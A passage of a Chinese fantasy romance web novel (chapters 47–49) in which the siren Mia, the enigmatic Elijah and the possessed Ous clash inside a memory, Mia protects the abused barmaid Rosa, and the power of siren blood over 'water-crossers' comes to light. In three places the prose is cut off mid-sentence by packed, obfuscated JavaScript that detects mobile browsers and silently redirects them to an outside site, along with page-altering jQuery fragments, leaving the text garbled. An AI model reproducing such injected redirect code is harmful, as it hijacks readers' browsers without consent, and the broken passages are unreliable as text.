这句话仿佛按下了某个开关,青年痛苦的神情一顿,然后像睡着一样闭上了眼睛,再睁开眼,眼神和表情都变了。 前后就像两个人。 看到这里,米娅也明白过来了,不是像两个人,根本就是两个人。 一个是乌斯,一个是塞奇。 没错,法阵中央的这个青年就是十一年前的乌斯。 这时的乌斯,还只是莱森身边一个小小的文官,既不是渡水者,也还没成为红衣神官,获得使用神力的权利。 身为普通人的他,能在刚才的风暴中站立,只能是因为这个古怪的阵法。 再想到自己此前的疑惑,为什么被封印在冥界的塞奇会出现在这里? 一切似乎昭然若揭了。 这个阵法,就是用来召唤塞奇的。 而乌斯,作为阵法的发动者,承担了媒介的作用,也就是后来的情况,塞奇能借用他的身体与外界沟通。 “呵呵。”青年怪笑两声,“我就说明明一开始你不是我的对手,为什么突然力量剧增了,原来是从未来来的。” 47. 失控(六) 面对塞奇挑衅的眼神,以利亚没有说话。 他神情冷漠,嘴角绷成一条直线,垂着眸,甚至没看塞奇一眼。 他动了动手指,数根冰锥凭空出现,扎进青年的肩膀,拖动着他向上攀升,双脚离地。 青年面目狰狞了一瞬,又很快放松下来,鲜血染红了冰锥,他却仿佛没事人一样,大笑着说:“恼羞成怒了吗,哈哈哈哈——咳咳——” 边笑,边看了米娅一眼,“你确定要在她面前杀了我吗?” 什么意思? 米娅皱了下眉,不禁看过去,鲜血已经染红了青年的衣袍,看上去有些可怖。 “停手吧。”她抓住以利亚的手腕。 以利亚一动不动,周身的气息更加冰冷。 不知为何,米娅有一瞬间的心慌,她连忙又说:“这是乌斯的身体,他……” 他十年后还活着,现在还不能死。 这种话似乎完全不能打动以利亚,又是数根冰锥凭空出现,扎进青年的腹部,他好像铁了心要杀死他。 “以利亚!”米娅着急地叫道,挣脱他的怀抱,挡在青年面前,面对着神情冷漠的男人,怒目而视,“你一定要这么做的话,不如先杀了我。” 冰锥瞬间消失,青年无力地坠落在地,带着嘲讽的笑看着以利亚,好像在说:“你看吧。” 话一出口,米娅就觉得不妥。 到底在这片回忆里,她和以利亚勉强还算是合作,如此决绝的话语,不该出现在他们之间,至少不是现在。 可是她控制不住,就好像曾经发生过相同的事情,那句威胁的话,几乎是脱口而出。 男人静静地看着她,眼眸的棕色越来越浅,近乎透明,然后,一抹血红像蛇信一样倏忽而现,又消失不见。 “我……” 米娅犹豫了片刻,刚刚开口说话,眼前忽然刮起了一阵大风。 她不由得闭上了眼,再睁眼时,入目是一盏昏暗的煤油灯。 风姿绰约的金发女郎提着煤油灯站在楼梯上,呆呆地望着她,眼中满是惊恐。 而她,像一阵风突然出现,站在空荡荡的酒馆大堂里。 啪嗒一声,煤油灯掉落在地,火苗不甘地闪烁了几下后彻底熄灭。 漆黑的夜里,海妖明亮却空洞的双目格外醒目。 金发女郎蹲坐下去,抱着头语无伦次地求饶,“不要杀我,不要杀我,我什么也没做,都是他逼我的。” 突然从赫特高塔的地下回到了酒馆之中,不用想都知道是谁的手笔,米娅又气又恼,以利亚那副样子,明显误会了什么,可是他甚至不肯听自己解释一句,就这么急匆匆地让自己离开了。 怎能让人不生气? 她也没心情安慰突然无比害怕的金发女郎,转身便向酒馆外走去。 酒馆的门从内锁着,她刚走到门口,门口突响起了一阵急促的敲门声。 咚咚咚,咚咚咚。 声音震耳欲聋,门外一个粗重的声音吼道:“开门,快给老子开门!” 一边吼,一边骂骂咧咧,用词之难听,米娅听了直皱眉。 米娅抬手,正要打开门,金发女郎这时竟也不害怕了,双手握住她的手臂,恳求地看着她,一个劲地摇头。 她很怕外面的人,怕到连我这个海妖都不怕了? 米娅觉得奇怪,又感受了一下门外的力量波动,不过是一个喝了酒的普通男人而已,她推开金发女郎罗莎,“有我在,怕什么。” 说罢将门一开。 外面那人正在撞门,一下没收住劲儿,啪一下摔在地上,圆滚滚的身体摔了个人仰马翻。 街上路灯的灯光正好照见了这一幕。 罗莎忍不住笑出了声,但她这一笑,反倒在黑暗中暴露了自己的位置,那人爬起来,一下揪住了她的头发,将她的头往地上按。 罗莎尖叫一声,痛苦的回忆涌上心头,她不住地颤抖起来,头皮处的拉扯感却突然消失了。 又是一声尖叫,来自另一个人。 还有砰地一声,是人撞到墙上的声音。 地面仿佛都震了几下。 蓝色的火焰从米娅掌心升起,光芒逐渐变得明亮,将酒馆内的黑暗驱散。 一个胖男人趴在地上呻吟着,米娅走过去,手掌轻扬,男人就像一块软趴趴的肉被翻了过来,鼻青脸肿的脸庞朝上,呼吸急促,疼得说不出一个字来。 米娅瞥了一眼罗莎,后者还没从恐惧中回过神来。 她放轻了声音,“已经没事了。” 罗莎木然地看向她,惊慌失措的眼眸中渐渐蓄起泪水。 米娅耐心地等她心情渐渐平复,才问:“他是谁?” 罗莎声音哽咽地说:“他是这间酒馆的老板。” “他为什么打你?” 这胖男人满身酒气,但神态又不是完全喝醉了的样子,他的动作过于熟练,让人怀疑同样的事情已经发生过很多次了。 果然,罗莎黯然道:“他喝了酒心情不好就会打我,最近城里不让酒馆营业太晚,赚的钱少了,他几乎每天都会这样。” “另一个人就看着你被打?” 她听到过酒馆伙计和罗莎之间的对话,两人明显关系亲密。 提到另一个人,罗莎反倒更黯然了,“他又有什么办法,在这里待着,还能挣到点儿钱,要是得罪了老板,就只能离开赫尔西岛了。” 米娅沉默下来,越了解人类的世界,她也越能感觉到人类之间关系的复杂,能在这里开酒馆的人,不说有权有势,至少也有些手段。 好一会儿,她像是想起了什么似的,又问:“另一个人呢?” 最开始她以为那伙计在后屋或者楼上,可是现在大堂里闹出这么大动静,他还不出现,就有些奇怪了。 罗莎张了张嘴,想说什么,又像是在顾忌什么,半天说不出来。 米娅通过她的神情猜到了,“跑了?” 不管是自己海妖的身份,还是人类吓唬人的手段,都足以让人产生逃跑的念头。 米娅意外的是—— “你怎么没跟着他一起跑?” 罗莎咬了咬牙,“他偷偷跑的,说都没跟我说,把我们的钱全都带走了。” 原来又是一个“负心汉”的故事,米娅神情微冷,“他走了多久了?” “您想做什么?”罗莎怔了怔。 “将他抓回来。” “不……不必为我麻烦。”罗莎看着米娅,名头说出去能吓哭小孩的少女有一张美丽到令月亮也自愧不如的脸,她的眼神很冷,却很明亮,像火一样,燃烧着熊熊的生命力,让人歆羨。 “你打算就这么轻易放过他?”米娅不能理解。 罗莎摇了摇头,感激地看着她,“也没多少钱,他以前在我最无助的时候,帮了我很多,就当是还他的恩情了。” 看到米娅为自己出头,罗莎的恐惧逐渐褪去,一个萦绕在心头很久的问题,便不自觉地问出了口,“您是不是认识我?” “不认识。”米娅断然否认,皱眉想了想,摸出那三枚被他们奉为宝物的银币,“你拿着这些钱离开赫尔西岛吧,永远不要再回来。” 银币躺在她柔嫩白皙的掌心,那是一双和人类无异的手,不是传说中的利爪,罗莎看了很久,却没有去接,“我不能要。” 米娅耐心有限,“你都能接受偷来的钱财了,白送的反而不要?” 说得罗莎脸又红又白。 罗莎想为自己辩解几句,这时,另一个身影却突然出现,带着冰寒的气息,让火光也随之一黯。 “我把它给你,可不是让你随便送人的。” 男人语调冰冷,毫无起伏,一如初见之时,他握住米娅的手掌,慢慢将其合上。 银币在掌心握着,触感冰凉,却不及他的万分之一。 米娅不服反呛,“什么时候是你给我的了。” 男人逆着光,看不清他的神情,只能感觉到他的手掌一瞬间用力,握得她的手也泛起微微的疼。 他拉着她向楼上走去。 两人的身影消失在二楼漆黑的走廊里,罗莎纠结了片刻,大着胆子跟了过去,刚走到楼梯口,就撞到了一堵无形的墙壁上,只能担忧地望着走廊。 手腕上传来的力量让米娅很不爽,走进屋里,米娅就立刻甩开了他,抱怨道:“你怎么回事,消失了好几天,一回来又发什么疯。” 黑暗中,男人低声询问。 “不想看到我吗?” 米娅气结,生他的气,但归根到底,是在生自己的气。 她实在不想承认,在高塔隐藏的空间里认出他的时候,她心中竟然充满了欣喜,好像期待了许久的事情终于实现了一般。 她不得不正视自己的内心,原来她一直都在想念他。 他怎么能问出这种话,难道他看不出,那一刻自己的心情吗? 眼睛一酸,竟有泪意涌上来。 同样是冰凉的,将她的理智一下唤了回来。 她在想什么,又在做什么。 眼前的男人是她的仇人,她的目标一直是杀死他,他们不过是因为当下的困境暂时合作罢了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗯。”男人看了她好一会儿,看着她从喘息到呼吸均匀,轻轻应了一声,拿起她的左手,在手背上印下一个轻柔的吻。 悬空的腿又立在了地板上,米娅背抵着墙,一头雾水地看着男人主动拉开了他们之间的距离。 “抱歉。” 道歉? 米娅一头雾水,能听到他的道歉,真是件稀奇的事情,可是为什么偏偏是这种时候。 不等米娅反应,男人转身背对着她,手指拂过烛台,蜡烛依次亮起,将房间照亮。 米娅走过去,余光瞥到一旁的铜镜,镜中映照出她的模样,发丝凌乱,眉目含春,红唇娇艳欲滴,脸上的神情却有几分……失落? 脸上红一阵白一阵,她不知所措起来。 她突然意识到,原来刚才她不仅没有拒绝的姿态,甚至在暗暗期待些什么。 男人的背影近在咫尺,她应该质问他的逾越,现在却无论如何也说不出口。 她上前两步,走到他的前方,转身面对着他。 她张了张口,却什么都没说。 以利亚快速地瞥了她一眼,又垂下眼眸,“我已经找到出去的办法了,但是需要一个特定的时间点。” 我不是想说这件事,米娅心想,嘴上却不由自主地顺着他的话问:“什么时候?” “一个月后。”男人眨了下眼睛,撕碎的衣服恢复如新。 “为什么要等到那个时候?” 一个月后发生过什么特别的事情吗,米娅想不起来了,她的记忆依然模糊。 “到时候就知道了。”男人答得含糊。 “你……”这样的回答显然不能让米娅满意,她皱起了眉,想了想又换了个问题,“那这一个月我们就一直这样了吗,还是说过去的我和那个人还是会时不时冒出来?” “你可以选择。” “我能选?”米娅不可置信。 “是,不过我建议维持原状,而且最好不要让奥修斯岛上的海妖察觉出不对,你们这次出岛,太任性了。” “你的意思是,我们应该回去继续演那场戏?我连后面还有些什么戏码都不知道,怎么演?”米娅讽刺道。 “他们知道。”男人的声音很冷。 那不就回到了刚进入这片回忆的时候,白天是过去的她和人类,晚上是她和以利亚,放到以前还能接受,现在人类都和她搬到一起住了—— “那我岂不是时时刻刻都会见着你。”米娅的声音也逐渐变得冷硬,在回忆里待得久了,她仿佛又拾回了曾经的天真愚蠢,被一个男人牵动心弦,只有用这种方式,才能压制住内心汹涌的情绪。 “我可以不出来,你们想做什么都没关系。” 啪的一声脆响,男人的脸被她打得别了过去,巴掌印浮现了一瞬,又立刻消失。 48. 失控(七) 第二天一早,他们就离开了赫尔西岛。 离开之前,米娅看到了在楼梯口睡了一晚上的罗莎。 彼时天刚蒙蒙亮,罗莎听到动静睁开睡眼,见到她的时候,眼底涌现了担忧的神色。 米娅看到她往自己身后望了一眼,没见有别的身影,偷偷松了一口气,小声问道:“您还好吗?” 昨晚发生的事情,足以让罗莎将她视为恩人,可以暂时无视掉她海妖的身份,产生亲近的感情,但对于冷漠的以利亚,罗莎依然很害怕。 米娅忍不住摸了摸自己的脸。 我的表情很难看吗? 在她忍不住打了以利亚一巴掌之后,他们的对话彻底结束,她不想再理会他,而面对她的沉默,他也选择了沉默以对。 他们就这么背对背渡过了下半夜,直到刚刚才在以利亚一声“回去吧”之中,勉强有了交流。 但在回去之前,米娅很想做一件事情。 看到罗莎担忧的神色,她更坚定了自己的想法。 她看了眼楼下,酒馆老板昏死过去的地方,“那个人呢?” 罗莎不安地咬着下唇,“他半夜醒来跑了。” 正如米娅猜想的一般,能在这种鱼龙混杂的地方开酒馆的人,都不是省油的灯,罗莎见识过他的手段,不免有些为自己以后担心。 正想着,眼前的美人拉过她的手,将一个钱袋塞进她手里。 “你拿着,我这次出来只带了这些,可能有点儿少。” 罗莎不禁打开看了一眼,满满一钱袋的银币,粗略算来,足够她在玛丽亚联盟不那么富裕的小岛买个农庄了。 “不……不少了……”她说话都结巴起来,又不舍又纠结的往外推,“我……我不能要。” 米娅温声道:“收着吧,我把他打了,等我走之后,他肯定要找你的麻烦,你拿着这些钱,赶紧买张最早的船票,离开赫尔西岛。” “可是……” 米娅表情严肃起来,“没有可是,还是说,你嫌太少了?” “不是,不是!” 罗莎连忙否认,眼中涌出热泪,万般感谢的话就在嘴边,又被米娅制止,“行了,去收拾东西赶紧走,还有,记住,不许拿这些钱去做不正经的生意,否则我不会放过你。” 罗莎连连点头,终于在米娅的催促下,跑下楼收拾行李去了。 看着她的背影消失在门口,米娅长长地舒了一口气。 虽然知道这只是回忆,自己做得都是徒劳,但哪怕想到她能在回忆里逃脱之后的悲惨命运,也成了一种慰藉。 朝阳初升之际,米娅和以利亚回到了奥修斯岛,离开的时间太短,岛上的海妖甚至没察觉他们曾经出去过。 奥修斯岛依然宁静美丽,在朝阳的照耀下熠熠生辉。 唯一的意外是,回木屋的路上,他们路过了老祭司的家,一向不怎么出门的老祭司,竟然破天荒地站在门口。 金色的阳光填满了她脸上的沟壑,海妖可以选择一辈子都维持着年轻时的模样直到死亡。 但总有那么一些海妖,更喜欢顺应时光的脚步,老祭司就是其中之一。 米娅从记事起,她就是这副模样,现在似乎腰弯得更深了。 老祭司睁开眼睛,她的眼睛还和年轻海妖一样明亮。 米娅以前有些怕被她注视,她去世之后,又怀念起来。 但现在不是怀念的好时刻,老祭司锐利的眼神仿佛能看穿一切,她用拐杖轻敲了一下地面,然后抬起拐杖,指向米娅的居所。 “米娅,你先回去。” 米娅还以为她是知道自己偷溜出去,要来兴师问罪,一听这话,立刻觉得不对劲,让自己先走,老祭司要单独和人类说什么? 他们之间,有什么话,是自己不能听见的吗? 可是她习惯了听从老祭司的吩咐,这回也不太可能违背,只能满腹疑问地走了。 回到自己的住所,刚好瞧见尤妮在门口探着个脑袋看自己在不在,米娅轻轻走过去,一把抓住她的后颈。 “放开我——” 尤妮扑腾起来,一回头见是她,不好意思道:“米娅姐姐,你什么时候回来的?” 米娅放下她,一本正经地说:“小尤妮,现在有件事非你不可,你愿不愿意帮我一个忙?” 尤妮一听这话就来劲,当即拍着胸脯保证道:“什么事,你说,包在我身上了。” 米娅低头在她耳边嘀咕了几句,尤妮兴奋的表情瞬间一蔫。 米娅笑着诱惑她:“你要是能听到点儿什么,我就带你出去玩,怎么样?” 尤妮皱着可爱的圆脸,纠结得不行,好一会儿,伸出手说:“我们拉钩!” 尤妮蹦蹦跳跳地走了,米娅走进屋里,前几天他们都住在树干里,这间木屋还没有被人类的东西侵占,早就看习惯了的景象,此时竟有点儿冷清。 米娅坐在窗边,看着生命之树紫色的枝叶发呆,没多久,尤妮气喘吁吁地跑了回来。 她不好意思地对手指,“我被他们发现啦。” 然后又沮丧地说:“我都趴在窗户上了,还是一点儿声音都听不见,可是我明明看见他们在说话来着。” 本来也没指望一个小孩子能真的听到什么,米娅倒不觉得失望。 米娅摸了摸她的头安慰她:“没关系。” 尤妮还惦记着出去玩,当然不会满足于一个简单的安慰,她献宝似的说:“米娅姐姐,虽然我什么也没听见,但我看见他们站在一起,总觉得怪怪的。” “为什么?”米娅随口一问,以利亚这回回来,连伪装都省了,他那副模样,谁看了都会觉得奇怪吧。 好端端的一个人类,怎么就突然变得冷漠了。 不料尤妮说得还真不是这件事。 尤妮道:“我也说不上来,就是感觉祭司大人对人类哥哥的态度有些……有些……” 她还太小,半天没找到一个合适的词语来形容。 米娅引导她:“说不出来没关系,这样,你觉得祭司大人对他的态度,和谁对谁的态度相似?” 尤妮眼前一亮,“那我知道了,就像我们对……” “对什么?” 突兀的声音强行截断了尤妮的话,听到这个声音,尤妮仿佛感受到了一阵寒气,脖子一僵,剩下的话再也说不出口了。 米娅将她拉到自己身后,看向门口的人,“你别吓唬她。” “这也算吓唬吗?”来者轻笑了一下,“如果你想知道我们谈了些什么,可以直接来问我,不必让一个小孩子来偷听。” 米娅抿唇不语。 “小孩子”尤妮审时度势,见情况不对,赶紧跑了。 “算了。”米娅站起来,拍了拍裙边的尘土,“没必要知道,反正只有一个月我们就出去了。” 以利亚也无意在这个问题上多纠结,直截了当地问:“你想好了吗,这一个月是让她出来,还是你打算一直掌控这具身体?” 米娅冷笑了一下,走出木屋,将门一关,顺便上了锁,“换个地方说,这是我家,不欢迎你。” 她和他擦肩而过,脚步却一顿。 男人抓住她的手臂,眼前一闪,他们竟来到了树干内的小屋,他低沉的声音在她耳边响起,“这里总可以了吧。” 是挑衅,还是无奈,米娅分不清,她也懒得去想他是怎么知道进来的方法的。 小屋内的一切还保持他们前往赫尔西岛之前的样子,那时她还为他的消失而忧心忡忡。 “让她出来吧。”她的声音格外低落。 *** 朦胧月色下,人类和海妖少女漫步在丛林中,夜风吹拂起他们的长发,发梢在空中纠缠。 比起动辄能容纳数万人的人类岛屿,奥修斯岛实在称不上大,但它麻雀虽小,五脏俱全,有山峦,有河流,有丛林,有草地,还有将整座岛屿纳进自己怀抱的巨大的圣树。 一束藤蔓与树叶纠缠在一起,遮蔽了前方的道路。 海妖少女拨开它,明亮得有些耀眼的月光倾泻而下,远处的天边,一轮圆月高高挂起。 “月亮……”人类在她身后低吟,“传说月亮是天空的一只眼睛……” 少女回头,笑容狡黠,“月亮是眼睛,那太阳是什么,另一只眼睛?” 不管是人类还是海妖,从小被教导的,都是太阳是一个持续不断散发着光和热的大火球,一定要说的话,是一块燃烧的石头。 “太阳是忒菲的心脏。”人类看着她。 少女愣住,“忒菲?” 似曾相识的名字,她好像在哪里听到过,就是想不起来。 “传说中创世前在混沌中横冲直撞的野兽。”人类执起她的手。 有点儿印象了,少女若有所思,在她很小很小的时候,老祭司曾经充当过她的历史老师,讲到创世前的故事时,曾经提过一嘴。 好像是说这只野兽没有神智,无法沟通,搅得混沌中的万物不得安宁,创世神为了世界的稳定将它猎杀。 仅此而已。 可是老祭司完全没提太阳和它的关系, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055078|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不会是在唬我吧? 少女刚要追问,人类的目光却落在了她的指尖,“你流血了。” 是刚刚拨开藤蔓时,被荆棘在指尖划开了一个小伤口,正在往外渗血,有点儿刺痛,但对于海妖来说,这么个小伤口一会儿就好了,她也没有在意。 “没事的——”指尖传来湿润温暖的触感,少女的声音戛然而止,她不可置信地看着眼前的人类,他竟然含住了她的手指,正在为她舔舐伤口。 少女的脸瞬间变得通红,哪怕他们已经做过极为亲密的事情,但这样的举动还是让人不知所措。 半晌,人类放开了她,他的嘴唇有些白,一抹鲜血蹭到了嘴唇上,有些触目惊心的红,就像他的眼睛,在月光下也似乎变红了。 少女羞涩的表情还在脸上,却看到人类神情严肃,毫无暧昧的气息。 “怎么了?” “我们去找祭司大人。”人类握紧了她的手,“等见到祭司大人再说吧。” 他们在老祭司的家中见到了她。 她正在梳头,听到人类的话,拿着梳子的手顿在半空中。 半晌,她幽幽叹了一口气,“你可以确定吗?” 人类看了一眼少女的手指,伤口已经消失,但那点儿血气仿佛还残留在舌尖,“我可以确定。” “你是怎么发现的?” “刚才——”人类说了两个字,海妖少女心里一急,抬手捂住了他的嘴。 “咳咳咳。”老祭司重重地假咳几声,眼神在他们之间转了好几圈,“行了,我明白了,不用说了,我这个老人家可不想听你们年轻人卿卿我我的细节。” 总之,事情就是这样。 刚才的意外让人类发现,少女的血竟然有一瞬间压制住了他身上的神力。 如果这只是个例,倒无所谓。 可若是少女的血对其他的渡水者也有效,甚至于只要是海妖的血,就会对渡水者有效,那事情就相当麻烦了。 “我会去证实此事,米娅,这段时间,你千万不要离开奥修斯岛。”老祭司严肃道。 少女点头应了,和人类一起走了出去。 她隐约感觉到这是一件很严重的事,却无法理解为什么严重。 人类对她解释道:“人类的数量是海妖的很多很多倍,善良的人是少数,更多的人,为了利益连同胞也可以杀害,如果被他们知道海妖的血有如此特殊的作用,奥修斯岛会永无宁日。” 只听他说,少女依然不懂,在以后的漫长时光里,她亲身体验了这一过程,终于对人类的虚伪自私有了真切的认识。 老祭司的动作很快,五天之后,她将海妖少女和人类都叫了过去,“我们可以相信你吗?” 她郑重地询问人类。 人类也郑重地点了点头。 “好,这件事,现在知情的只有我们三个,我派了海妖前往人类的居所,找到了数个渡水者,在他们不知情的情况下,诱骗他们喝下了掺了海妖血的饮料。根据观察,他们都不同程度地出现了使用不了力量的情况,一般会持续两天,两天之后又慢慢恢复了正常,你的猜想是正确的。” “也就是说,海妖的血可以暂时遏制住人类渡水者的能力。” “是。”老祭司干枯的手扶住椅子的把手,闭上了眼睛,“真是个十足的坏消息,米娅,你觉得我们应该怎么办?” 海妖少女问道:“祭司大人,真的只有我们三个知道吗?” 老祭司点了点头,“我派出去的海妖不知道她们拿的是海妖血,那些渡水者也不知道。” 少女沉思道:“我觉得我们应该赶紧将在外的同族召回来,然后弄清楚为什么会这样,找到了原因,自然就有解决办法了。” “先不急。”老祭司的眼神明明赞同了她的办法,但她还是阻止了她,“贸然将她们都召回来,反而会引起恐慌和猜测,我们需要想一个借口。” 能有什么借口,既不引起怀疑,又是所有海妖都不要到场的呢? 少女苦思冥想。 在对话的最后,老祭司看向了少女,她已经想到了。 人类也想到了,多亏了少女和尤妮的慷慨,这段时间,他知道了海妖一族许多规矩,比如说,祭司的接任典礼上,所有海妖都要出席,绝对不能缺席。 老祭司虽然年迈,但还没有老到不足以理事的地步,而少女刚刚成年,从年纪来说,也很小,她还不足以独当一面。 此前她们都没有想过要这么快将少女推到台前,现在这个意外一出,一切节奏都被打乱了。 49. 失控(八) 深夜。 米娅睁开眼睛,盯着头顶的天花板。 原来是这样。 她一直很奇怪,海妖数量不多,停留在人类世界的海妖更是稀少,到底是谁,最先发现海妖的血可以抑制渡水者的力量? 她曾经多方打探,没有找到答案。 从来没想过,原来答案离自己这么近。 人类偶然发现了这个秘密,也只有她、老祭司和人类知道这个秘密。 老祭司为海妖一族操劳了一生,而且一向谨慎,不可能是她泄漏出去的,那就只剩下了两个人选。 自己,或者人类。 米娅闭上眼睛,任由黑暗吞噬了她。 可恶的是,她忘记了,她忘记了有关人类的一切,只记得有这么个人存在,要不是这场回忆,她甚至记不起来是人类发现的这个秘密。 所以她也不能确定,究竟是她,还是人类泄漏出去的。 但无论是谁,都无疑是往她心口插了一刀。 一想到后来苦难的源头竟在自己身上,她就忍不住颤抖。 正沮丧着,修长的人影翻身压了上来,将她牢牢箍在身下。 那人居高临下看着她,银色的长发从耳侧垂下,落到她的脸颊上。 米娅转过脸去,冷漠地说道:“我今天没心情。” “难道我找你只能是为了那件事吗?”以利亚嘲讽道。 不是吗? 米娅很想反驳他,但没有力气。 说来也得好笑,刚回到奥修斯岛那天,他们之间剑拔弩张,仿佛再也不会和对方说一句话的样子。 她心灰意冷,选择了让过去的自己继续演完这场回忆。 他实现了她的选择,也做出了同样的选择,于是时间仿佛回到了刚进入回忆时,他们互相不搭理。 在其他海妖面前,过去的她和人类是恩爱的恋人,他们从不掩饰他们的关系,每天如胶似漆。 可是每个夜深人静之时,当缠绵后的海妖少女和人类睡去之时,他们这两个冷眼旁观者就会苏醒过来,身上还带着对方的气息和印记。 起初只是沉默,后来忘了是哪一个晚上,忘了是谁先越过了那条并不存在的界线,他们沉默着与对方相拥。 男人的手强行将她的脸扳正,她不得不看着他,将他的话听进耳朵里,“你就这么笃定只有你们三个的其中之一泄密人类才会知道这个秘密?未免也太小瞧人类了。” 他在安慰我? 米娅一愣。 不对,她突然眼睛一亮,抓住他的胳膊,“你是不是知道些什么?” 她怎么忘记了,眼前的人可是赫尔西岛的领主,是布里斯帝国炙手可热的人物,传言连布里斯帝国的女皇也是他的傀儡。 以利亚没说话,盯着她的眼眸很沉。 米娅从中捕捉到了一丝犹豫。 他在犹豫什么? 是不想告诉我吗,毕竟我是海妖,倒是也可以理解,但是她决不会允许自己眼睁睁地看着真相溜走。 “要怎样你才肯说?”她开始讨价还价。 以利亚终于说话了:“答应我一件事。” 交换,很公平。 但面对这个男人,警惕占据上风,米娅没有轻易回应,只问:“你先说是什么事。” 以利亚闭上眼睛,不愿让她再瞧见自己眼底的情绪,他的声音淡漠,仿佛在说一件无关紧要的事情,“出去之后,回奥修斯岛去,五年内不要出来。” “不可能。”米娅想都没想,一口回绝,“海妖一族已经受够了退让,不实现我的目的,我不会回去。” 说完,她突然觉得不对,连忙将嘴紧闭。 所谓的目的,不就是上方这人的死讯吗? 现在不是说这个的好时候。 虽然嘴上说着出去之后要怎样怎样,但她心里其实很清楚,她的计划已经失败了。 以为最保险的杀死他的方式也没起作用,她失去了最接近成功的一次机会。 现在提起,除了激怒他,没有任何好处。 以利亚的反应倒是平静很多,“海妖捕杀令很快就会废止,你的目的已经达到了。” “你在说什么,我的目的明明是……”说到一半,米娅忽然愣住。 她突然意识到,如果他说的是真的,那他没有说错,登上赫尔西岛,解决掉凯勒和加里之后,她将全部的精力都放到了他的身上。 她一心要杀死他。 甚至到了最后,都忘了为什么要杀死他,只记得他是海妖一族的敌人。 可是在奥修斯岛上制定计划的时候,她的目的其实是利用表面上这几个对海妖威胁最大的人类的死,来逼迫布里斯帝国皇室废除海妖捕杀令。 和人类之间的纷争令她痛恨人类,海妖之中对人类感到愤怒和憎恨的也不在少数,但是他们都很清楚一个事实,人类数量众多,又有神明的庇护,所有海妖的力量也不足以与人类世界为敌。 所以这几年她一边准备着对以利亚的刺杀计划,一边也在积极联系其他几个帝国和联盟,试图获取他们的帮助。 后来她从人类世界学到了一个词——政治。 很适合用来描述她所做的事情,但在这件事上,直来直往的海妖显得过于青涩。 他们底线从来都是与人类井水不犯河水。 只是连这个简单的目的也达不到,才不得不采取极端的手段。 “为什么说,海妖捕杀令很快就会被废止?” 上一次有人跟她提到海妖捕杀令的废除问题,是乌斯。 红衣神官带着女皇的契约,承诺她若是能杀了以利亚赫尔西,就废除海妖捕杀令。 她失败了,契约不会成立。 男人冰凉的手掌抚摸着她腰侧的软肉,“你难道不知道么,乌斯这次来赫尔西岛,就是来与我商议此事。” 敏感的肌肤经不起撩拨,米娅一阵酥软,声音轻飘飘的,“他不是来商议海妖猎人组织的去留的吗?” 而且米娅已经知道了最后商议的结果。 两个海妖猎人组织将合二为一,资产全由教会管理,驻地也从赫尔西岛搬到首都绿恩岛附近的一座小岛上。 “现下,除了自视甚高的渡水者和海妖猎人组织,没有人敢狩猎海妖,海妖猎人组织搬离赫尔西岛,意味着海妖捕杀令名存实亡。” 关于这一点,米娅也想到过,但她实在不敢再低估一次人类的贪婪,“可是人类捕杀海妖的动机依然存在。” 海妖血能抑制渡水者的超凡力量。 以利亚俯身靠近她,“他们不会做亏本的买卖,一只普通海妖的血液效果微弱,狩猎付出的代价却远超预期,他们早就想放弃了。” 米娅抬眸,目光如炬,“他们是谁?” 以利亚低头,衔住她红润的双唇。 米娅不满他用这种方式终止对话,生气地推他,他却趁机抓住了她的手,反扣在床榻上。 “答应我的条件,我就告诉你。”男人的发尾一荡一荡,像羽毛拂过她的锁骨,引起一阵战栗。 米娅向后躲,火热的手掌便箍住了她的腿,将她拉了回来,重新跌入岩浆滚烫的深渊。 “你的条件……实在太过分了,除非……除非你能给出一个合理的解释,为什么让我回去,还五年内不能出来……不然……”男人的吻逐渐往下,米娅得以喘息,仰头闭着双眼坚持道,“不然我不会答应的。” 真奇怪,之前的数个夜晚,他们沉默地拥有对方,还不觉得怎样,今天谈起了正事,反而有一种偷情的羞耻感。 也许是严肃的话题让她不得不面对,他们不该是这种关系的现实。 米娅的另一只手抓紧了身下的床单。 离一个月的期限,只有几天了,再忍耐几天,她就—— 很久之后,热气呼到她的锁骨上,她听到了很轻很轻的笑声,“因为,一切快结束了,再也不会有——” “不会有……什么?” 她的声音消失在喘息声中。 源自身体深处的浪潮一波又一波,冲刷着湿润的海滩,吞去她的声音,淹没她的理智,将她抛上浪头。 “你说的他们,是指布里斯帝国的皇室和教会吧。”告一段落后,米娅一动也不动,盯着天花板上的木头纹路沉思。 最后,以利亚似乎在她耳边说了什么,她没有听清,再问他时,他却不说了。 “没有听到就算了,或许这是天意。” 她不信他会信天意这种东西。 但他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058611|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怎么也不肯说。 米娅只能泄气地说起他们最初的话题。 关于海妖捕杀令。 除了以利亚,还有谁有权力在背后推动和废除海妖捕杀令,答案其实一目了然。 “至于是谁泄漏了海妖血的秘密。”米娅转头看他,男人神色平静,除了鬓边汗湿的发丝和胸口被她抓出来的红痕,一点儿也看不出刚经历了欢爱的模样,米娅看着看着,不知为何心里一痛,“你都这么说了,那只有可能是意外,也许是一个普通的渡水者意外接触到了海妖的血,我说的对吗?” “……是。” 